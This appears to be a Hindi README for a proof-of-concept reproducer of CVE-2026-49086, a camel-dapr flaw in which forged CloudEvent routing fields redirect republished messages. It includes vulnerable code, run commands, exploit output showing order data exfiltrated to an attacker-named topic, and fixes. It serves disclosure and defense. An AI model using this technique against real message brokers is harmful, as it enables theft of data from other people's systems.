
CVE-2026-49086 के लिए PoC रिप्रोड्यूसर, जो Apache Camel camel-dapr में confused-deputy रूटिंग-हेडर ओवरराइड प्रदर्शित करता है, जिससे अविश्वसनीय CloudEvent फ़ील्ड्स के माध्यम से संदेश पुनर्निर्देशन और डेटा एक्सफ़िल्ट्रेशन संभव होता है।
यह प्रोजेक्ट Apache Camel के camel-dapr कंपोनेंट में एक रूटिंग-हेडर ओवरराइड (कन्फ्यूज़्ड-डेप्युटी) दोष प्रदर्शित करता है, जिसे CVE-2026-49086 के रूप में ट्रैक किया जाता है।
Dapr pub/sub कंज्यूमर (DaprPubSubConsumer) इनबाउंड (अविश्वसनीय) CloudEvent के फ़ील्ड्स को Exchange मैसेज हेडर्स में कॉपी करता है। उनमें से दो — pubsubName और topic — प्रोड्यूसर-दिशा के रूटिंग हेडर्स हैं (CamelDaprPubSubName / CamelDaprTopic)। जब वही रूट बाद में dapr:pubSub प्रोड्यूसर के साथ पब्लिश करती है, तो DaprConfigurationOptionsProxy । इसलिए इनबाउंड एनवलप, जिसे एक अविश्वसनीय मैसेज भेजने वाला नियंत्रित करता है, चुपचाप ओवरराइड कर देता है कि रूट कहाँ रीपब्लिश करती है:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
ऐसी रूट में जो एक टॉपिक से कंज़्यूम करती है और दूसरे पर रीपब्लिश करती है (एक सामान्य ऑडिट/फ़ॉरवर्ड/फैन-आउट पैटर्न), एक अभिनेता जो सब्सक्राइब्ड टॉपिक पर पब्लिश कर सकता है, CloudEvent का pubsubName/topic सेट करता है और रीपब्लिश किए गए मैसेज को किसी मनमाने Dapr pub/sub कंपोनेंट + टॉपिक पर रीडायरेक्ट कर देता है — पेलोड को हमलावर-सुलभ ब्रोकर तक एक्सफ़िल्ट्रेट करते हुए, या इच्छित रूटिंग/ACL को बायपास करते हुए। यह एक कन्फ्यूज़्ड-डेप्युटी है: ऐप अपने स्वयं के Dapr क्रेडेंशियल्स के साथ उस गंतव्य पर रीपब्लिश करता है जिसे हमलावर ने चुना था।
यह PoC प्रभाव को मैसेज रीडायरेक्शन / डेटा एक्सफ़िल्ट्रेशन (CWE-441, CWE-20 से) के रूप में प्रदर्शित करता है।
| गुण | मान |
|---|---|
| कंपोनेंट | camel-dapr |
| प्रभावित क्लास | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (इनबाउंड CloudEvent से PUBSUB_NAME/TOPIC हेडर्स सेट करता है) |
| CWE | CWE-20 (Improper Input Validation) / CWE-441 (Unintended Proxy / Confused Deputy) |
| प्रभाव | रीपब्लिश किए गए मैसेज को किसी मनमाने Dapr pub/sub कंपोनेंट + टॉपिक पर रीडायरेक्ट करना (एक्सफ़िल्ट्रेशन / रूटिंग और ACL बायपास) |
| पूर्व-शर्तें | एक रूट dapr:pubSub टॉपिक से कंज़्यूम करती है और dapr:pubSub प्रोड्यूसर के माध्यम से रीपब्लिश करती है; हमलावर सब्सक्राइब्ड टॉपिक पर पब्लिश कर सकता है |
| प्रभावित संस्करण | 4.12.0 से 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| फिक्स्ड संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| क्रेडिट | Leon Zlobecki |
यह फिक्स कंज्यूमर को दोनों रूटिंग हेडर्स (
CamelDaprPubSubName/CamelDaprTopic) सेट करने से रोकता है; अन्य CloudEvent मेटाडेटा हेडर्स अपरिवर्तित रहते हैं। प्रोड्यूसर तब हमेशा एंडपॉइंट-कॉन्फ़िगर्ड pub/sub + टॉपिक का उपयोग करता है। (कैटलॉग स्थिरता के लिए एकDaprHeaderFilterStrategyभी जोड़ा गया था, लेकिन रूटिंग-हेडर परिवर्तन ही प्रभावी फिक्स है।)
भेद्यता पूरी तरह से Camel में है — कंज्यूमर द्वारा CloudEvent.pubsubName/topic को रूटिंग हेडर्स में कॉपी करना, और प्रोड्यूसर द्वारा उन हेडर्स को प्राथमिकता देना। Dapr साइडकार केवल ट्रांसपोर्ट है। यह रिप्रोड्यूसर मॉक Dapr SDK क्लाइंट्स (client=#mockClient, previewClient=#mockPreview) इंजेक्ट करता है ताकि वास्तविक DaprPubSubConsumer और DaprPubSubHandler बिना किसी साइडकार के अपरिवर्तित चलें: मॉक प्रीव्यू क्लाइंट सब्सक्रिप्शन लिसनर को कैप्चर करता है, और मॉक क्लाइंट पब्लिश टार्गेट को रिकॉर्ड करता है। हमलावर ड्राइवर फिर कैप्चर किए गए लिसनर को एक जाली CloudEvent डिलीवर करता है — ठीक वही जो सब्सक्राइब्ड टॉपिक पर पब्लिश करने में सक्षम भेजने वाला ट्रिगर करता है।
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
लेखक का इरादा है कि हर ऑर्डर को निश्चित audit-broker/audit-log पर मिरर किया जाए। लेकिन क्योंकि कंज्यूमर इनबाउंड एनवलप के pubsubName/topic को रूटिंग हेडर्स में कॉपी करता है, ऑडिट प्रोड्यूसर उसी गंतव्य पर पब्लिश करता है जिसे एनवलप नामित करता है — कभी भी कॉन्फ़िगर्ड ऑडिट स्ट्रीम पर नहीं।
सब कुछ एक स्व-निहित कंटेनर में चलता है।
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630) में अपग्रेड करें। फिक्स के बाद कंज्यूमर अब CamelDaprPubSubName / CamelDaprTopic सेट नहीं करता, इसलिए dapr:pubSub कंज्यूमर के डाउनस्ट्रीम एक dapr:pubSub प्रोड्यूसर अपने एंडपॉइंट-कॉन्फ़िगर्ड pub/sub कंपोनेंट और टॉपिक का उपयोग करता है।
अपग्रेड करने तक, कंज्यूमर और रूट में किसी भी dapr:pubSub प्रोड्यूसर के बीच रूटिंग हेडर्स को हटा दें (उदाहरण के लिए removeHeaders("CamelDaprPubSubName,CamelDaprTopic")), और रीपब्लिश करने हेतु pub/sub + टॉपिक को एक विश्वसनीय स्रोत से सेट करें।
यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स की गई भेद्यता के लिए। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।